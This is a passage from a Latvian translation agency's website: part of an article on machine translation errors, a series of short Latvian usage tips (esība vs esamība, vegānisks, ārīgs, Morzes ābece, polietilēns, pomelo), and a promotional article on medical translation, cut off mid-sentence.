dzimtajā valodā, pat ja tulkojumā ir nelieli trūkumi, un 40% no viņiem nekad nepērk no vietnēm, kas nav pieejamas viņu valodā. No otras puses, nopietnas vai komiskas kļūdas var graut uzticamību. Ja uzņēmuma mājaslapā vai oficiālā dokumentā redzamas acīmredzamas tulkojuma kļūdas, lietotājs var sākt šaubīties par informācijas ticamību kopumā. Īpaši bīstami tas ir situācijās ar kritisku informāciju – piemēram, valsts iestādes paziņojumos sabiedrībai. Katastrofālas kļūdas (piemēram, nepareizi pārtulkots aizliegums vai medicīniska instrukcija) var novest pie reputācijas zaudēšanas un uzticības zuduma. Tāpēc publiskai saziņai un biznesa vajadzībām vienmēr ieteicams MT izmantot piesardzīgi – kā palīgrīku, bet gala tekstu pārbaudīt cilvēkam. Profesionalizētā tulkošanā MT kļūdas tiek uztvertas kā kvalitātes riski, taču ar atbilstošiem rīkiem un procesiem (piemēram, integrētiem kvalitātes pārbaudes rīkiem, terminoloģijas glosārijiem, mašīntulkojuma pēcrediģēšanu) daudzus riska momentus var mazināt. Galu galā, mūsdienu MT sistēmas ietaupa laiku un resursus, bet paļaušanās uz tām prasa sapratni par to ierobežojumiem. Lietotāja uzticība MT risinājumiem pieaug, ja tie tiek lietoti atbildīgi – piemēram, tulkojumu kvalitāte ir konsekventa un kļūdas tiek ātri izlabotas. Ja gala teksts pēc MT apstrādes ir labots tā, ka lasītājs nepamana mašīnas darbības pēdas, tad arī uzticēšanās nav iedragāta. Lai arī mašīntulkošana piedāvā nepārspējamu ātrumu un apjomu, šie piemēri apliecina – kvalitātei un nozīmes precizitātei nav alternatīvas. Neatļaujiet, lai tulkošanas kļūdas grauj jūsu profesionālo tēlu vai izkropļo būtisku informāciju. Uzticieties profesionāļiem – apvienojiet MT efektivitāti ar cilvēka precizitāti un nodrošiniet kvalitatīvus, jēgpilnus tulkojumus katram vārdam! Ja arī jūs nevēlaties riskēt ar tulkojuma kļūdām, kas var izkropļot svarīgu informāciju vai pat kaitēt uzņēmuma reputācijai, ļaujiet mums palīdzēt! Sazinieties ar Skrivanek valodu tehnoloģiju ekspertiem, lai kopā rastu optimālāko risinājumu jūsu vajadzībām – vai tas būtu mašīntulkošanas pēcrediģēšana, terminoloģijas pārvaldība, profesionāli tulkojumi vai lokalizācijas stratēģija. Mēs sadarbojamies ar klientiem dažādās nozarēs – no medicīnas, farmācijas, tehnoloģijām un jurisprudences līdz valsts pārvaldei, izglītībai, tūrisma, e-komercijas un mārketinga jomai. Katrā no šīm sfērām valodas precizitātei un terminoloģiskajai konsekvencei ir izšķiroša nozīme. Tieši tādēļ piedāvājam ne tikai tulkošanas pakalpojumus, bet arī tehnoloģiski atbalstītus un cilvēka prasmēs balstītus risinājumus, kas pielāgoti katras nozares specifikai. Neļaujiet tulkošanas kļūdām kļūt par šķērsli starptautiskai izaugsmei! Piesakieties tiešsaistes konsultācijai vai lūdziet personalizētu piedāvājumu – mēs esam šeit, lai jūsu ziņojums jebkurā valodā būtu skaidrs, iedarbīgs un profesionāls. Kvalitāte sākas ar valodu. NEPIECIEŠAMS DOKUMENTU TULKOJUMS, NOTARIĀLI APLIECINĀTS TULKOJUMS VAI MĀJASLAPAS LOKALIZĀCIJA? SAZINIETIES AR MUMS! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt --- > Esība vai esamība – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2025-03-25 - Modified: 2025-03-12 - URL: https://skrivanek.lv/esiba-vai-esamiba/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ESĪBA VAI ESAMĪBA 1 Juridiskajos tekstos lietojams termins "spēkā esība" vai "spēkā esamība"? Vārdu “esamība” un “esība” šķīrums ir nostiprināts jau 1990. gadā, un LZA Terminoloģijas komisijā tas atkārtoti pārskatīts un apstiprināts 2003. gadā. Esamība ir ‘neatkarīgi no apziņas pastāvošā objektīvā pasaule, matērija’ vai ‘objektīvā realitāte’. Savukārt esība ir ‘konkrētu vai abstraktu priekšmetu atrašanās noteiktā vietā, vidē, laikā’ vai vienkāršāk – ‘pastāvēšana, eksistence’ jeb kaut kas, ‘kas ir vai nav’. Tiesa, dažkārt šo šķīrumu izprast nemaz nav viegli. Ja mēģinām pateikt vienkāršāk, tad vārdu “esamība” lietosim, runājot par būtņu vai priekšmetu eksistenci filozofiskā aspektā. Savukārt “esība” būs konkrētāka, ar prātu un apziņu saprotama un pamanāma. Piemēram, Jāņa esība telpā satrauca Karīnu. LZA Terminoloģijas komisija arī īpaši norāda, ka, runājot par tiesību aktiem, lietojams termins “spēkā esība”. Piemēram: Šobrīd līguma noteikumu spēkā esību var apstrīdēt tiesā. Tāpēc paturēsim prātā, ka “esība” un “esamība” ir divi dažādi jēdzieni, kuru nozīmes ir šķiramas. Juridiskajos tekstos lietojams termins "spēkā esība"Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vegāns vai vegānisks uzturs? Ieskaties un uzzini atbildi! Iepazīsti daudzus noderīgus valodas padomus vienuviet! - Published: 2025-03-19 - Modified: 2025-03-19 - URL: https://skrivanek.lv/vegans-vai-veganisks/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional VEGĀNS VAI VEGĀNISKS 1 Karīna jau desmit gadus lieto vegānu uzturu vai vegānisku uzturu? Latviešu valodas ekspertu komisija 2011. gada 16. novembrī ieteica šķirt šos divus vārdus un lietot tos katru ar savu nozīmi un funkciju: vārdu “vegāns” kā lietvārdu un vārdu “vegānisks” kā īpašības vārdu. Vegāns ir cilvēks, kas pilnībā atteicies no jebkādas dzīvnieku izcelsmes pārtikas. Savukārt vegānisks ir tāds, kas saistīts ar vegānismu. Tātad Karīna jau desmit gadus ir vegāne un lieto vegānisku uzturu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ārējs vai ārīgs – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2025-03-18 - Modified: 2025-03-19 - URL: https://skrivanek.lv/arejs-vai-arigs/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ĀRĒJS VAI ARĪGS 1 Zāles paredzētas ārējai vai ārīgai lietošanai? Datoram pieslēgsim ārējo cieto disku vai ārīgo cieto disku? Vārdam “ārējs” latviešu valodā ir vairākas nozīmes: 1. tāds, kas atrodas ārpusē un norobežo (ko) no apkārtējā; 2. tāds, kas redzams no ārienes; 3. tāds, kas saistīts no ārvalstīm; 4. tāds, kas pastāv ārpus (kā) un iedarbojas no ārpuses. Savukārt vārdam “ārīgs” ir tikai viena nozīme – tāds, kas iedarbojas no ārpuses, ko lieto ārēji (par zālēm). Lai gan, runājot par zāļu lietošanu, nav stingra šķīruma: ārējai vai ārīgai lietošanai, vēlams ievērot konsekvenci ar vārdu “iekšķīgs”. Tāpēc zāles lietosim ārīgi. Turpretī pie datora pievienosim ārējo cieto disku. Tāpat arī apstākļi, kas ietekmē mūsu veselību, būs ārēji. Tātad pareizi ir abi vārdi, taču katram ir savs lietojums. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Morzas ābece vai Morzes ābece – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2025-03-12 - Modified: 2025-03-19 - URL: https://skrivanek.lv/morzas-abece-vai-morzes-abece/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional MORZAS ĀBECE VAI MORZES ĀBECE 1 Lai nosūtītu telegrammu, izmantoja Morzas ābeci vai Morzes ābeci? Amerikāņu gleznotājs un izgudrotājs Semjuels Morze (Samuel Morse) 19. gadsimta sākumā izgudroja signālu sistēmu, kas varēja nodrošināt telegrāfa darbību. Sistēmu veido īsu un garu signālu kombinācijas, un tā ļāva pārraidīt burtus, ciparus un pieturzīmes lielā attālumā, kas tolaik bija revolucionārs izgudrojums. Morzes ābeci aktīvi izmantoja vairāk nekā simt gadus, taču nu tā zaudējusi savu nozīmi viedtehnoloģiju attīstības dēļ. Taču, atminoties nozīmīgo izgudrojumu, lietosim pareizu nosaukumu. Kodu sistēma nosaukta tās izgudrotāja vārdā, tāpēc sauksim to par Morzes ābeci vai Morzes kodu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Polietelēns vai polietilēns – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet. - Published: 2025-03-04 - Modified: 2025-03-12 - URL: https://skrivanek.lv/polietelens-vai-polietilens/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional POLIETELĒNS VAI POLIETILĒNS 1 Vai kartupeļus veikalā liksim polietelēna maisiņā vai polietilēna maisiņā? Polietilēns ir pasaulē visvairāk ražotais plastmasas veids, un bez tā mūsu dzīve ir grūti iedomājama. Polietilēns rodas ķīmiskas reakcijas rezultātā ­– polimerizējot etilēnu. Izrunājot šo vārdu, veidojas skaņu pārmaiņas un var šķist, ka jālieto burts “e”. Taču jāpatur prātā, ka vārds “polietilēns” ir saliktenis (no poli- un etilēns) un vielas nosaukums nemainās. Tāpēc kartupeļus, kas nepieciešami rasola pagatavošanai, veikalā var ielikt polietilēna maisiņā. Taču Skrivanek aicina saudzēt dabu un izvēlēties vairākkārt lietojamus auduma maisiņus! Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Medicīniskā tulkošana – lai tava veselība būtu drošās rokās. Nodrošinām kvalitatīvus tulkojumus, sadarbojoties ar ekspertiem. Sazinies! - Published: 2025-03-03 - Modified: 2025-07-16 - URL: https://skrivanek.lv/mediciniska-tulkosana-lai-tava-veseliba-butu-drosas-rokas/ - Kategorijas: Raksti - Translation Priorities: Optional MEDICĪNISKĀ TULKOŠANA – LAI TAVA VESELĪBA BŪTU DROŠĀS ROKĀS Vai zināji, ka nepareizs tulkojums medicīnas dokumentos var būt dzīvībai bīstams? Medicīniskā tulkošana nav tikai vārdu un jēdzienu pārnešana, tā prasa absolūtu precizitāti terminu lietošanā un skrupulozas zināšanas ļoti šaurā jomā, kas var izšķirt cilvēka veselības stāvokli. Tāpēc ir svarīgi saprast, cik nozīmīga ir šī joma un kāpēc jāizvēlas uzticami medicīnas tekstu tulkošanas speciālisti. Medicīnisko un farmaceitisko tekstu tulkošana ir viena no sarežģītākajām un atbildīgākajām jomām. Tai nepieciešamas ne tikai izcilas avota un mērķa valodas zināšanas, bet arī padziļināta izpratne par medicīnu, ķīmiju, bioloģiju un pat latīņu valodu, kas joprojām tiek aktīvi lietota ārstu vidū, īpaši, ja ārsts vēlos nodot informāciju kādam kolēģim citā valstī. Tā kā medicīniskajos tulkojumos bieži tiek risināti jautājumi, kas tieši ietekmē pacienta veselību un dzīvību, precizitāte un profesionalitāte šajā jomā ir absolūti nepieciešamas. Skrivanek Baltic – jūsu uzticamais partneris medicīnisko tulkojumu jomā Medicīniskā tulkošana prasa ne tikai valodu zināšanas, bet arī precizitāti, zināšanas ķīmijā un anatomijā, kā arī terminoloģisko konsekvenci. Skrivanek Baltic profesionālā komanda nodrošina: Augstākās kvalitātes medicīniskos tulkojumus, sadarbojoties ar nozares ekspertiem, kuriem ir iegūta augstākā izglītība medicīnā. Daudzpakāpju kvalitātes kontroli un terminoloģijas saskaņošanu. Tulkošanu un lokalizāciju farmaceitiskajiem, klīnisko pētījumu un medicīnisko ierīču dokumentiem. Terminoloģijas glosārijus un nozares specifiskus tulkojumus. Medicīnas nozares terminoloģijas un valodas pilnveide kopā ar Skrivanek Baltic Lai veiksmīgi darbotos starptautiskā vidē, medicīnas profesionāļiem nereti ir nepieciešamas padziļinātas svešvalodu prasmes. Skrivanek Baltic piedāvā valodu kursus mediķiem, kas palīdz: Ārstiem, farmaceitiem un citiem veselības aprūpes speciālistiem apgūt specializētu terminoloģiju. Attīstīt praktiskās valodas prasmes dažādās medicīnas situācijās. Veicināt skaidru un efektīvu komunikāciju ar pacientiem un kolēģiem svešvalodās. Medicīniskās tulkošanas pakalpojumi aptver diezgan plašu tekstu klāstu. Sākot no šauras specializācijas zinātniskajām publikācijām līdz praktiskai informācijai pacientiem un viņu ģimenēm. Tulkojumā jāņem vērā attiecīgā teksta mērķis, mērķa vides, kurā tas tiks izmantots, īpašības un abu valodu īpatnības. Zinātnisku publikāciju, klīnisko pētījumu protokolu vai zāļu informācijas gadījumā ir svarīgi saglabāt maksimālu terminoloģijas precizitāti un konsekvenci, jo šāda veida tekstos ir jāietver profesionāli termini, kuriem raksturīga nepārprotamība un kuri norāda uz konkrētiem jēdzieniem. Pacientiem un nespeciālistiem paredzētajos tekstos svarīgākais ir vienkāršība, skaidrība un viegli uztverama informācija. Galu galā, pacientiem nekad nebūs tāda paša zināšanu līmeņa kā ārstiem, un nesaprotams tulkojums ar daudzām detaļām un medicīnisko terminoloģiju ne tikai nekalpos savam mērķim, bet vēl vairāk – samulsinās pacientus, kuriem visbiežāk ir vajadzīga pavisam cita – mierīga un draudzīga saziņa. MEDICĪNISKO DOKUMENTU TULKOŠANA – SENSITĪVA UN PRASĪGA Medicīniskajos tekstos bieži sastopami nosaukumi, kas atvasināti no latīņu un sengrieķu valodas, kā arī abreviatūras un eponīmi. Lai izvairītos no neprecizitātēm, ir nepieciešama profesionāla pieeja un pieredzējušu tulkotāju darbs. Medicīnisko tekstu tulkošanas iedalījums: Informatīvie materiāli un zāļu lietošanas instrukcijas. Medicīniskā ierīču dokumentācija, lietotāju rokasgrāmatas un specifikācijas. Klīnisko pētījumu dokumenti, protokoli un pacientu informētās piekrišanas veidlapas. Slimnīcu un medicīniskie ieraksti, diagnozes un izrakstīšanas dokumenti. Medicīnas māsu un personāla apmācību dokumenti. Abreviatūras radīt vairākas grūtības, jo abreviatūrām nereti var būt vairāki avoti, kas ir īpaši problemātiski, ja nav skaidra konteksta. Turklāt Rietumu medicīnā bieži tiek lietoti eponīmi (vārdi, kas veidoti no īpašvārdiem), kas no tulkotāja skatpunkta ir ārkārtīgi svarīgi, jo tie rada būtiskas lingvistiskas implikācijas. Eponīmi apzīmē slimību būtības un simptomus, kā arī anatomijas un fizioloģijas jēdzienus; eponīmi tiek veidoti no to cilvēku vārdiem, kuri pirmie tos aprakstīja, vai retāk – no pacientu vārdiem. Lai gan tas šķietami būtu ļoti ērti, jo šādā veidā ir vieglāk iegaumēt specifiskus nosaukumus, tulkotājam šī tendence rada zināmas grūtības, jo eponīmi bieži vien sakņojas konkrētās valsts medicīnas vēsturē un tādēļ nav vienoti starptautiskā mērogā. Pretēji šķietamajam, kļūdu risks, kas saistīts ar medicīnisko tulkošanu, ir ļoti augsts. Šķiet, ka tekstu augstajam kompetences līmenim un to stilistiskajai neitralitātei būtu jāveicina nepārprotams tulkojums. Tomēr nereti ir tieši pretēji, jo kontekstu un izmantotās terminoloģijas daudzveidība, kā arī ārkārtīgi liela dažādu kvalitāšu tulkojumu izplatība var izraisīt reģistru sajaukšanos un kļūdainu tulkojumu izplatīšanos. Ir labi zināms gadījums ar spāņu valodas vārdu “intoxicado”, kura nepareizs tulkojums “alkohola reibumā” (lai gan šis termins var nozīmēt “slikta dūša, kas saistīta ar saindēšanos ar pārtiku”) izraisīja ārstēšanas kļūdas, kuru rezultātā pacientam tika konstatēta kvadriplēģiska paralīze. KO UN KAS VAR TULKOT? Nozīmīgākos medicīnisko tekstu veidus, kam nepieciešams tulkojums, pēc to mērķa var iedalīt šādos: informatīvie materiāli, zāļu lietošanas instrukcijas, kurās ir informācija gan pacientiem, gan ārstiem, medicīnas preču apraksti (SPC, pol. GLP); ar medicīnas ierīcēm saistītie tulkojumi, t. i. , lietotāja rokasgrāmatas, pavaddokumentācija, specifikācijas; klīnisko pētījumu dokumentācija, protokoli, pacientu informētās piekrišanas veidlapas, informācija par pacientiem; slimnīcu un medicīniskie ieraksti, piemēram, izrakstīšanas, medicīniskie rīkojumi, diagnozes; medicīnas māsu vai slimnīcas personāla apmācību dokumentācija. Pēdējā grupa ir ne mazāk svarīgi reklāmas materiāli, galvenokārt zāļu un medicīnas ierīču apraksti un reklāmas bukleti – preses publikācijas, publikācijas internetā, farmācijas uzņēmumu un veselības aprūpes pakalpojumu sniedzēju tīmekļa vietnes. Tā kā tagad ir plaši pieejami zinātniski materiāli dažādās jomās un ir iespējams turpināt mācības tiešsaistē, kā arī apmācību kursos, medicīnisko tekstu tulkotājam vairs nav nepieciešams speciālista grāds konkrētā jomā. Profesionāls tulkotājs, ievērojot augstu disciplīnas līmeni un izmantojot pēc iespējas vairāk zināšanu avotu, kā arī sadarbojoties ar speciālistiem, var attīstīt prasmes, lai radītu augstākās kvalitātes tekstus ar pilnīgu medicīniskās terminoloģijas ekvivalenci. DARBS AR TULKU UN TULKOTĀJU Strādājot ar profesionālu tulkotāju vai tulkošanas biroju, ir svarīgi pievērst uzmanību uzņēmuma pieredzei medicīnas jomā. Vienmēr ir vēlams palūgt atsauksmes un noskaidrot, ar kādiem tieši tekstiem uzņēmums ir strādājis. Kad ir izvēlēts labākais pakalpojuma sniedzējs, liela nozīme ir arī materiāliem, ko tulkotājs saņems no klienta. Glosāriju un palīgmateriālu nodrošināšana no klienta puses ir īpaši svarīga, lai turpmākie tulkotāji varētu saglabāt terminoloģisko konsekvenci salīdzinājumā ar iepriekšējiem tulkotājiem un novērst neskaidrības, piemēram, attiecībā uz produktu nosaukumiem vai izteikumiem, ko parasti lieto konkrētā uzņēmumā. Visu šo principu ievērošanai ir jāveicina auglīga sadarbība un augstas kvalitātes tulkojumi. Medicīniskās tulkošanas tiešsaistes pakalpojumi ir ļoti ērti. Tā vietā, lai dotos uz tulkošanas biroju, var vienkārši augšupielādēt dokumentus tiešsaistē un īsā laikā saņemt tulkojumu. Tas atvieglo medicīnas speciālistiem ātru un precīzu medicīnisko dokumentu tulkošanu. Skrivanek Baltic nodrošina gan tradicionālus, gan tiešsaistes tulkošanas pakalpojumus, kas ļauj ātri un precīzi sagatavot medicīniskos dokumentus – situācijās, kurās precizitātei var būt dzīvībai izšķiroša nozīme. Kopumā tiešsaistes medicīnisko dokumentu tulkošanas pakalpojumu izmantošana ir lielisks precizitātes un efektivitātes nodrošināšanas veids, sazinoties ar medicīnas speciālistiem citās valstīs. Tie sniedz pieejamu un ērtu iespēju ātru un precīzu medicīnisko dokumentu tulkošanas nodrošināšanai. Kāpēc izvēlēties Skrivanek Baltic? Vairāk nekā 30 gadu pieredze medicīnisko tulkojumu jomā Sadarbība ar lielākajiem pasaules farmācijas uzņēmumiem un medicīnas iestādēm Profesionāli tulki un tulkotāji ar medicīnisko izglītību Valodu kursi medicīnas speciālistiem Sazinieties ar mums jau šodien vai piesakies tiešsaistes konsultācijai, lai saņemtu kvalitatīvu medicīnisko tulkojumu vai pieteiktos medicīnas valodas kursiem! --- > Pomelo vai pamelo – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2025-02-18 - Modified: 2025-02-13 - URL: https://skrivanek.lv/pomelo-vai-pamelo/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional POMELO VAI PAMELO 1 Kā pareizi sauksim lielo, sulīgo citrusaugli, kas kopā ar gabaliņu šerbeta var iepriecināt jebkuru? Svešvārdu pieraksts nereti mēdz būt mulsinošs, un ikdienas saziņā sastopami visi norādītie varianti. Jau 2011. gadā Latviešu valodas ekspertu komisija apstiprināja, ka pareizais augļa nosaukums latviski ir "pomelo" ar uzsvaru uz pirmo zilbi. Citrusaugļi ir kļuvuši par īsteniem ziemas našķiem, tāpēc arī turpmāk uzņemsim C vitamīnu un ēdīsim mandarīnus, pomelo, greipfrūtus un apelsīnus. Tātad sulīgo citrusaugli, kas kopā ar gabaliņu šerbeta var iepriecināt jebkuru sauksim par pomelo. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Skrīnšots vai ekrānšāviņš, vai ekrānuzņēmums – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2025-02-04 - Modified: 2025-02-07 - URL: https://skrivanek.lv/skrinsots-ekransavins-ekranuznemums/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional SKRĪNŠOTS, EKRĀNŠĀVIŅŠ VAI EKRĀNUZŅĒMUMS 1 Ieraudzīju svarīgu ziņu un 